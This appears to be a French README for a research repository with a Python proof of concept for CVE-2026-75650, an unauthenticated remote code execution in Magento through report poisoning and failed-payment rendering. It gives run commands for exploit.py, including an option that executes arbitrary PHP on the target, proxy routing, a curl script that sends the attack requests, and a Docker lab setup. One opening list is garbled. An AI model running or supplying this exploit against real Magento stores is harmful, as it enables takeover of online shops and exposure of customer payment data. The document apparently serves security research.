
PoC Python reproduisant CVE-2026-75650 StyleSmuggler, une RCE Magento non authentifiée via l'empoisonnement de rapports et le rendu des paiements échoués, avec vérification par canari.
Dépôt de recherche privé pour la reproduction HTTP uniquement de StyleSmuggler, CVE-2026-75650, contre un labo Magento Open Source local.
Lisez le walkthrough technique complet dans Magento StyleSmuggler RCE: Report Poisoning to Code Execution.
Le PoC Python exécute la séquence complète non authentifiée :
type, text et styles dans la
query string ;Il ne copie jamais un helper dans le conteneur ni n'invoque le scanner via Docker. La bibliothèque standard de Python suffit.
python3 exploit.py --target http://localhost:18082
La sortie finale doit contenir RCE VERIFIED et le même marqueur frais
affiché plus tôt dans cette exécution. Un canary
existant ne peut pas satisfaire la vérification car chaque exécution génère un
nouveau marqueur.
STYLESMUGGLER_RUN_...Le chemin du rapport doit être le chemin vu par le processus PHP cible. Remplacez-le lorsque Magento utilise une autre racine de documents :
python3 exploit.py \
--target http://localhost:18082 \
--report-dir /srv/magento/var/report
Passez des instructions PHP sans <?php ni ?> :
python3 exploit.py \
--target http://localhost:18082 \
--code 'file_put_contents(getcwd()."/custom-test.txt", "PHP ".PHP_VERSION.PHP_EOL);'
curl -sS http://localhost:18082/custom-test.txt
Le PoC écrit son marqueur de vérification frais avant d'exécuter le fragment fourni et vérifie ensuite toujours ce marqueur.
Chaque requête, y compris l'empoisonnement du rapport et la récupération finale du canary, peut être envoyée via un proxy HTTP :
python3 exploit.py \
--target http://localhost:18082 \
--proxy http://127.0.0.1:8082
Ajoutez --proxy-insecure pour une cible HTTPS dont le certificat intercepté
n'est pas approuvé par Python.
curl_failed_payment.sh exécute les quatre requêtes de l'étape 2 et étiquette le
composant Magento atteint par chaque requête. Il nécessite curl, jq et
openssl :
./curl_failed_payment.sh /var/www/html/var/report/REPORT_ID
Définissez une autre cible ou un autre listener Burp via des variables d'environnement :
MAGENTO_URL=http://localhost:18082 \
BURP_PROXY=http://127.0.0.1:8082 \
./curl_failed_payment.sh /var/www/html/var/report/REPORT_ID
docker-compose.yml fournit des services MySQL, OpenSearch et PHP/Apache
isolés sur 127.0.0.1:18082. Il attend une arborescence source Magento
installée à ./magento2-src.
La validation finale propre a utilisé le commit Magento :
f8405be831efa461ec18cc5a637cd98afa767015
Clonez la source et installez ses dépendances Composer avant de lancer le
processus normal setup:install de Magento :
git clone --filter=blob:none --branch 2.4-develop \
https://github.com/magento/magento2.git magento2-src
git -C magento2-src checkout f8405be831efa461ec18cc5a637cd98afa767015
docker compose build web
docker compose up -d db opensearch
docker compose run --rm web composer install --no-interaction
Une fois Magento installé avec l'hôte de base de données db, l'hôte OpenSearch
opensearch et l'URL de base http://localhost:18082/, démarrez le service web :
docker compose up -d web
docker compose ps